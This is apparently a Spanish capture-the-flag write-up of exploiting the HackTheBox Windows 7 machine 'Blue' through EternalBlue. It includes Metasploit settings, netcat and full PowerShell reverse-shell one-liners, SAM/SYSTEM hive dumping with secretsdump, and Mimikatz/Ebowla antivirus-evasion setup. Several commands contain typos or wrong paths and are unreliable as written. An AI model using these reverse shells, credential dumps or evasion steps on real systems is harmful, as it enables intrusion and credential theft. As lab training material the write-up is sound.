HTB - Blue (MS17-010 EternalBlue)
HTB - Blue (MS17-010 EternalBlue)
Resumen Ejecutivo
Se realizó un compromiso exitoso contra la máquina Blue de HackTheBox, un sistema Windows 7 Professional Service Pack 1 que expone el servicio SMB (puerto 445) vulnerable a MS17-010 (EternalBlue). El vector de entrada fue la identificación del puerto 445 abierto y la confirmación de vulnerabilidad mediante nmap y nxc. Se utilizó el exploit ms17_010_eternalblue de Metasploit con payload windows/x64/meterpreter/reverse_https para obtener una sesión estable como NT AUTHORITY\SYSTEM. Durante la post-explotación se realizó:
- Enumeración completa del sistema (variables de entorno, usuarios, red, procesos)
- Estabilización de la shell con
rlwrap - Dump de credenciales mediante extracción de hives SAM/SYSTEM
- Evasión de Windows Defender usando Ebowla (Environmental Keyed Payloads)
- Extracción de hashes NTLM para cracking offline
Riesgos Identificados
| Riesgo | Impacto | Probabilidad | Severidad |
|---|---|---|---|
| SMBv1 habilitado | Crítico | Confirmado | 🔴 CRÍTICO |
| Null session habilitada (guest) | Alto | Confirmado | 🟠 ALTO |
| Message signing deshabilitado | Alto | Confirmado | 🟠 ALTO |
| Ausencia de parche MS17-010 | Crítico | Confirmado | 🔴 CRÍTICO |
| Windows Defender evadible | Medio | Confirmado | 🟡 MEDIO |
✅ Plan de Remediación
- Inmediato: Aplicar el parche de seguridad KB4012212 (MS17-010)
- Inmediato: Deshabilitar SMBv1 en el sistema
- Corto plazo: Habilitar firma de mensajes SMB (message signing)
- Corto plazo: Deshabilitar autenticación anónima (null sessions)
- Corto plazo: Rotar contraseñas de todos los usuarios locales
Largo plazo: Migrar a Windows 10 o superior con soporte activo
Machine Info
| Clave | Valor |
|---|---|
| Nombre | Blue |
| IP | 10.129.7.60 |
| OS | Windows 7 Professional 7601 Service Pack 1 |
| Arquitectura | x64 (AMD64) |
| Hostname | HARIS-PC |
| Workgroup | WORKGROUP |
| Usuario obtenido | NT AUTHORITY\SYSTEM |
| Skills | SMB Enum, EternalBlue Exploit, Meterpreter, Credential Dumping, Antivirus Bypass |
| Fecha | 2026-06-01 |
Reconocimiento (Reconnaissance)
Target Scoping
- IP Objetivo:
10.129.7.60 - Hostname Detectado:
HARIS-PC(por resolución inversa y escaneo SMB) - Sistema: Windows 7 Professional SP1 x64
📡 Escaneo de Puertos
Se realizó un escaneo completo de puertos TCP para identificar servicios activos:
1
2
3
4
# Escaneo rápido de todos los puertos TCP
sudo nmap -p- --open -sS --min-rate=2000 -n -Pn -v 10.129.7.60 -oN allPorts
# Escaneo detallado de servicios identificados
sudo nmap -p135,139,445,49152-49157 -sCV -v -Pn 10.129.7.60 -oN detailedServices
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -19m56s, deviation: 34m35s, median: 1s
| smb2-time:
| date: 2026-05-30T21:38:59
|_ start_date: 2026-05-30T21:18:23
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-05-30T22:39:00+01:00
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
Análisis de resultados:
| Puerto | Servicio | Relevancia |
|---|---|---|
| 445/tcp | SMB | Crítico - Vulnerable a MS17-010 si SMBv1 está habilitado |
| 139/tcp | NetBIOS | Enumeración de recursos compartidos |
| 135/tcp | RPC | Comunicación entre procesos de Windows |
Indicadores de vulnerabilidad:
message_signing: disabled→ Permite ataques de relé SMBaccount_used: guest→ Autenticación anónima habilitadaSMBv1: True(detectado por nxc) → Vulnerable a EternalBlue
Enumeración SMB
Verificación con NetExec (nxc)
NetExec (anteriormente CrackMapExec) es una herramienta de post-explotación que permite enumerar recursos SMB de forma eficiente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nxc smb $(target)
❯ nxc smb $(target) -u 'guest' -p '' --shares
SMB 10.129.6.94 445 HARIS-PC [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True) (Null Auth:True)
SMB 10.129.6.94 445 HARIS-PC [+] haris-PC\guest:
SMB 10.129.6.94 445 HARIS-PC [*] Enumerated shares
SMB 10.129.6.94 445 HARIS-PC Share Permissions Remark
SMB 10.129.6.94 445 HARIS-PC ----- ----------- ------
SMB 10.129.6.94 445 HARIS-PC ADMIN$ Remote Admin
SMB 10.129.6.94 445 HARIS-PC C$ Default share
SMB 10.129.6.94 445 HARIS-PC IPC$ Remote IPC
SMB 10.129.6.94 445 HARIS-PC Share READ
SMB 10.129.6.94 445 HARIS-PC Users READ
Resultado:
1
2
SMB 10.129.6.94 445 HARIS-PC [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True) (Null Auth:True)
Interpretación:
signing:False→ No se requiere firma de mensajes (vulnerable a ataques de relé)SMBv1:True→ Protocolo SMB versión 1 habilitado (requisito para EternalBlue)Null Auth:True→ Permite conexiones sin credenciales
Explotación (Exploitation)
MS17-010 EternalBlue con Metasploit
Contexto teórico: EternalBlue (CVE-2017-0144) es una vulnerabilidad en la implementación del protocolo SMBv1 de Windows. Permite a un atacante remoto ejecutar código arbitrario a nivel de kernel mediante el envío de paquetes especialmente manipulados. Fue filtrada por el grupo Shadow Brokers y utilizada por WannaCry y NotPetya.
Configuración del exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS $(target)
set PAYLOAD windows/x64/shell_reverse_tcp
o
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <tu_ip>
set LPORT 443
check # Para verificar vulnerabilidad
exploit
C:\Windows\system32>whoami
whoami
nt authority\system
Etsabilizando meterpreter y powershell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Dentro de Meterpreter, ejecutá PowerShell pero en modo interactivo forzado:
meterpreter > execute -f powershell.exe -i -H -c
# Parámetros:
# -i: Interactivo
# -H: Ocultar ventana
# -c: Usar canales de Meterpreter para I/O
# Si la shell de PowerShell se ve mal, usá esta técnica:
# Dentro de la shell de cmd (después de escribir "shell"):
powershell -NoLogo -Command "$Host.UI.RawUI.ForegroundColor='Green'; Write-Host 'PS> ' -NoNewline; while($true) { $cmd = Read-Host; if($cmd -eq 'exit') { break }; try { Invoke-Expression $cmd } catch { $_ } }"
# Esto te da un prompt de PowerShell básico pero funcional
# Cargar extensiones útiles
meterpreter > load powershell
[*] Loading extension powershell...
meterpreter > powershell_shell
# Esto te da una shell de PowerShell nativa dentro de Meterpreter
Enviando una bash interactiva con rlwrap
1
2
3
4
5
6
7
8
9
10
## Usando Netcat (si está en la víctima)
### Paso 1: En Kali - Iniciar listener con rlwrap
bash
# Instalar rlwrap si no está
sudo apt install rlwrap
# Iniciar listener mejorado
rlwrap nc -lvnp 4455
Meterpreter - Enviar la shell
1
2
3
4
5
6
7
8
9
10
# Verificar si netcat está en la víctima
meterpreter > search -f nc.exe
meterpreter > cmd.exe /c "where nc"
# Si no está, subirlo primero
meterpreter > upload /usr/share/windows-resources/binaries/nc.exe C:\\Windows\\Temp\\nc.exe
# Enviar reverse shell con netcat
meterpreter > execute -f C:\\Windows\\Temp\\nc.exe -a "-e cmd.exe <tu_ip_kali> 4455" -H -i
**Parámetros:**
Parámetros:
-f: Archivo a ejecutar-a: Argumentos-e cmd.exe: Ejecutar cmd.exe al conectar-H: Ocultar ventana (background)-i: Interactivo
Para tener una shell remota realmente usable en segundo plano
1
2
3
4
5
6
7
# En Kali, en otra terminal, levantá un listener con rlwrap:
rlwrap nc -lvnp 4455
# Desde Meterpreter, enviá una shell a ese puerto:
meterpreter > execute -f cmd.exe -a "/c nc.exe <tu_ip> 4455 -e cmd.exe" -H
# O si no tenés netcat en la víctima, creá una reverse shell con PowerShell:
meterpreter > execute -f powershell.exe -a "-NoP -NonI -W Hidden -Exec Bypass -Command `$client = New-Object System.Net.Sockets.TCPClient('<tu_ip>',4455);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..65535|%{0};while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0,`$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()" -H
Reconocimiento del sistema
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
C:\Windows\system32>set
set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=HARIS-PC
ComSpec=C:\Windows\system32\cmd.exe
FP_NO_HOST_CHECK=NO
LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD
PROCESSOR_LEVEL=25
PROCESSOR_REVISION=0101
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
PUBLIC=C:\Users\Public
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Windows\TEMP
TMP=C:\Windows\TEMP
USERDOMAIN=WORKGROUP
USERNAME=HARIS-PC$
USERPROFILE=C:\Windows\system32\config\systemprofile
windir=C:\Windows
windows_tracing_flags=3
windows_tracing_logfile=C:\BVTBin\Tests\installpackage\csilogfile.log
---
C:\Windows\system32>systeminfo
systeminfo
Host Name: HARIS-PC
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: haris
Registered Organization:
Product ID: 00371-222-9819843-86066
Original Install Date: 14/07/2017, 14:45:30
System Boot Time: 01/06/2026, 07:33:45
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-gb;English (United Kingdom)
Input Locale: en-us;English (United States)
Time Zone: (UTC) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,519 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,484 MB
Virtual Memory: In Use: 611 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 178 Hotfix(s) Installed.
[01]: KB2849697
......<More>
[178]: KB982018
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: Yes
DHCP Server: 10.10.10.2
IP address(es)
[01]: 10.129.7.60
[02]: fe80::59cd:7145:d2d0:7dcf
[03]: dead:beef::69b0:ca83:d230:1a4c
[04]: dead:beef::59cd:7145:d2d0:7dcf
Dumpelando hash de la memoria
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cd c:\Winddows\Temp
reg save MKLM\system sytem.backaup
reg save MKLM\sam sam.backup
# En kali
impacket-smbserver smbFolder $(pwd) -smb2support
#otra vez victima
copy sam.backup \\$(target)\smbFolder\sam
copy system.backup \\$(target)\smbFolder\system
# En kali
impacket-sercretsdump -sam sam -system system LOCAL
🛡️ Evasión de Antivirus (Windows Defender Bypass)
Durante la post-explotación, se identificó que el sistema objetivo contaba con Windows Defender activo, lo que podía bloquear la ejecución de herramientas como Mimikatz. Para evadir esta protección, se implementaron técnicas de ofuscación y generación de payloads ambientales usando Ebowla y otras estrategias.
📦 Preparación de Mimikatz
Primero, se clonó el repositorio oficial de Mimikatz y se prepararon los binarios para su posterior ofuscación:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Clonar Mimikatz desde GitHub
cd /home/kali/Herramientas
sudo git clone https://github.com/gentilkiwi/mimikatz.git
# Verificar ubicación de los binarios
locate mimikatz.exe
# Copiar binarios a directorio de trabajo
cp /opt/mimikatz/Win32/mimikatz.exe .
cp /opt/mimikatz/x64/mimikatz.exe .
# Mover el binario de 64 bits al directorio de Ebowla
cp mimikatz/x64_mimikatz.exe Ebowla/mimikatz.exe
🧬 Configuración de Ebowla (Environmental Keyed Payloads)
Ebowla es un framework que genera payloads que solo se ejecutan cuando se cumplen condiciones ambientales específicas (archivos, procesos, claves de registro, etc.), lo que permite evadir sandboxes y antivirus.
Clonar e instalar dependencias
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Clonar Ebowla
git clone https://github.com/Genetic-Malware/Ebowla.git
cd Ebowla
# Instalar dependencias necesarias
sudo pip2 install pyinstaller
sudo pip2 install pycrypto
##### Configuración del archivo `genetic.config`
Se editó el archivo de configuración para definir:
- **output_type = GO** (genera payload ofuscado)
- **payload_type = EXE** (binario ejecutable)
nano genetic.config
# Cambiando la configuracion donde dice "output_type por GO" y donde dice "payload_type = shellcode por EXE"
output_type = 'GO'
payload_type = 'EXE'
### 🔧 Variables de Entorno
C:\Windows\system32>echo %username%
HARIS-PC$
C:\Windows\system32>echo %computername%
HARIS-PC
C:\Windows\system32>echo %userdomain%
WORKGROUP
C:\Windows\system32>echo %number_of_processors%
2
C:\Windows\system32>echo %processor_identifier%
AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD
C:\Windows\system32>echo %processor_revision%
0101
C:\Windows\system32>echo %systemdrive%
C:
C:\Windows\system32>echo %userprofile%
C:\Windows\system32\config\systemprofile
C:\Windows\system32>echo %path%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\
C:\Windows\system32>echo %temp%
C:\Windows\TEMP
Referencias Teóricas
¿Qué es EternalBlue (MS17-010)?
EternalBlue es una vulnerabilidad crítica en el protocolo SMBv1 (Server Message Block versión 1) de Microsoft Windows. Fue descubierta y utilizada por la NSA, luego filtrada por el grupo Shadow Brokers en abril de 2017.
Características técnicas:
- CVE: CVE-2017-0144
- CVSS Score: 9.3 (Crítico)
- Afecta: Windows 7, Windows Server 2008 R2, Windows 8.1, Windows 10 (versiones sin parche)
- Tipo: Buffer overflow en el kernel
¿Cómo funciona?
- El atacante envía un paquete SMB especialmente manipulado al puerto 445
- La vulnerabilidad permite escribir datos fuera de los límites del buffer asignado
- Esto permite ejecutar código arbitrario a nivel de kernel
- El código se ejecuta como
NT AUTHORITY\SYSTEM
WannaCry (Mayo 2017)
El ransomware WannaCry utilizó EternalBlue para propagarse masivamente, infectando más de 200,000 equipos en 150 países. Afectó gravemente al NHS (Reino Unido), Telefónica (España), FedEx, entre otros.
Curiosidad: Un investigador de seguridad (MalwareTech) detuvo la propagación global registrando un dominio que el malware usaba como “kill switch”.
